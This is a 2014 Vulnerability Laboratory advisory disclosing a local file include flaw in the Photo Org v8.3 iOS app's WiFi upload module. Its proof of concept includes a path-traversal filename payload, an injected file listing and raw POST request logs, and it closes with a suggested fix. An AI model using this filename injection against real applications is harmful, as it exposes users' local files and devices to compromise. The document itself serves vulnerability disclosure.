Document Title: =============== Photo Org WonderApplications v8.3 iOS - File Include Vulnerability
References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1277 Release Date: ============= 2014-07-04 Vulnerability Laboratory ID (VL-ID): ==================================== 1277 Common Vulnerability Scoring System: ==================================== 7.1 Product & Service Introduction: =============================== Create great photo albums and video diaries with PhotoOrg. Keep your photo album and video diary secured with passwords. Share your photo albums and video diary on Facebook, Twitter, Youtube, Picasa, Flickr and MySpace with family, friends and business associates. Photo Editor with the following ability: -Over eleven photo effects -Four different photo enhancer -Rotate and flip photo -Crop photo -Change photo brightness -Change photo Contrast -Change photo saturation -Change photo sharpness -Draw on photo with different colors -Write text on your photo -Remove red eyes -Whiten photo -Remove blemish on photo Features: -view your pictures and videos using your browser -upload your picture and video using your browser -upload video to Youtube, Picasa, Facebook, Twitter, Flickr and MySpace -upload multiple pictures to Facebook, Twitter, Flickr and MySpace -Keep your photo and videos organized the way you like it -Keep your photo and video secured with password -copy your photo and video from anywhere and paste them into the application ( Copy of the Homepage: https://itunes.apple.com/us/app/photo-org/id330740156 ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research Team discovered a local file include vulnerability in the official WonderApplications Photo Org v8.3 iOS web-application. Vulnerability Disclosure Timeline: ================================== 2014-07-04: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== WonderApplications Product: Photo Org L - iOS Mobile Application 8.3 Exploitation Technique: ======================= Local Severity Level: =============== High Technical Details & Description: ================================ A local file include web vulnerability has been discovered in the official WonderApplications Photo Org v8.3 iOS web-application. The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests or system specific path commands to compromise the mobile web-application. The web vulnerability is located in the `filename` value of the `uploadMedia` (uploadfile) module. Remote attackers are able to inject own files with malicious `filename` values in the `uploadMedia` POST method request to compromise the mobile web-application. The local file/path include execution occcurs in the index file/folder list context next to the vulnerable name/path value. The attacker is able to inject the local file request by usage of the available `wifi interface` for file exchange/share. Remote attackers are also able to exploit the filename validation issue in combination with persistent injected script codes to execute different local malicious attacks requests. The attack vector is on the application-side of the wifi service and the request method to inject is POST. The security risk of the local file include web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.1. Exploitation of the local file include web vulnerability requires no privileged web-application user account but low user interaction. Successful exploitation of the local file include web vulnerability results in mobile application or connected device component compromise. Request Method(s): [+] [POST] Vulnerable Service(s): [+] WonderApplications - WiFi Share Vulnerable Module(s): [+] uploadMedia Vulnerable Parameter(s): [+] filename Affected Module(s): [+] Index File/Folder Dir Listing (http://localhost:[port-x]/) Proof of Concept (PoC): ======================= The local file inlcude web vulnerability can be exploited by remote attackers with low privileged application user account and without user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. PoC: WonderApplications (Photo & Video) - Index- & Sub-Categories <html><head><style type="text/css"> ul {float:left; width:100%; padding:0; margin:0; list-style-type:none; } a { float:left; width:6em; text-decoration:none; color:white; background-color:purple; padding:0.2em 0.6em; border-right:1px solid white; } a:hover {background-color:#ff3300} li {display:inline} table {float:left} </style></head> <body><h1 style="color:orange;text-align:center">WonderApplications</h1><ul> <li><a href="Photo_33457298432">Foto</a></li> <li><a href="Video_33457298432">Video</a></li> <li><a href="Load_33457298432">Load</a></li> </ul><table border="1"><tbody><tr><td> <a href="abcde"><img src="http://localhost:8080/var/mobile/Applications/FB0FAD2F-8D06-4485-879B-0452C05067EC/Documents/mediaPath/00/C01FCCB0-DBDA-4A80-8C6A-67F02D3FE0A9.PNG"; alt="abcde"></a> <br \=""> abcde </td><td> <a href="abcdef ././/var/mobile/Applications/[LOCAL FILE INCLUDE VULNERABILITY!].png.zip"> <img src="http://localhost:8080/././/var/mobile/Applications/[LOCAL FILE INCLUDE VULNERABILITY!].png.zip/ FB0FAD2F-8D06-4485-879B-0452C05067EC/Documents/mediaPath/00/6EFCA2A7-E8F8-4251-8EFB-85EF327998FF.PNG" alt="abcdef <././/var/mobile/Applications/[LOCAL FILE INCLUDE VULNERABILITY!].png.zip"></a> <br \=""> abcdef <././/var/mobile/Applications/[LOCAL FILE INCLUDE VULNERABILITY!].png.zip"> </td></table></body></html></iframe></td></tr></tbody></table></body></html> --- Poc Session Logs [POST] --- Status: 200[OK] POST http://localhost:8080/uploadMedia Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[unknown] Mime Type[unknown] Request Header: Host[localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[http://localhost:8080/uploadMedia] POST-Daten: POST_DATA[-----------------------------276732337522317 Content-Disposition: form-data; name="file"; filename="././/var/mobile/Applications/[LOCAL FILE INCLUDE VULNERABILITY!].png.zip" Content-Type: application/zip - 20:40:52.394[62ms][total 79ms] Status: 200[OK] GET http://localhost:8080/ Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[2874] Mime Type[text/html] Request Header: Host[localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Connection[keep-alive] Response Header: Connection[Keep-Alive] Content-Type[text/html] Content-Length[2874] Reference(s): http://localhost:8080/ http://localhost:8080/uploadMedia http://localhost:8080/var/mobile/Applications/ Solution - Fix & Patch: ======================= The local file include web vulnerability bug can be patched by a secure parse and encode of the vulnerable filename value in the upload POST method request. Encode also the filename value in the file dir listing of the index and sub categories. Restrict the filename value name input and prevent executions by a secure file filter on upload extension or the name validation itself. Security Risk: ============== The security risk of the local file include web vulnerability in the filename value is estimated as high. Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (b...@evolution-sec.com) [www.vulnerability-lab.com] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. 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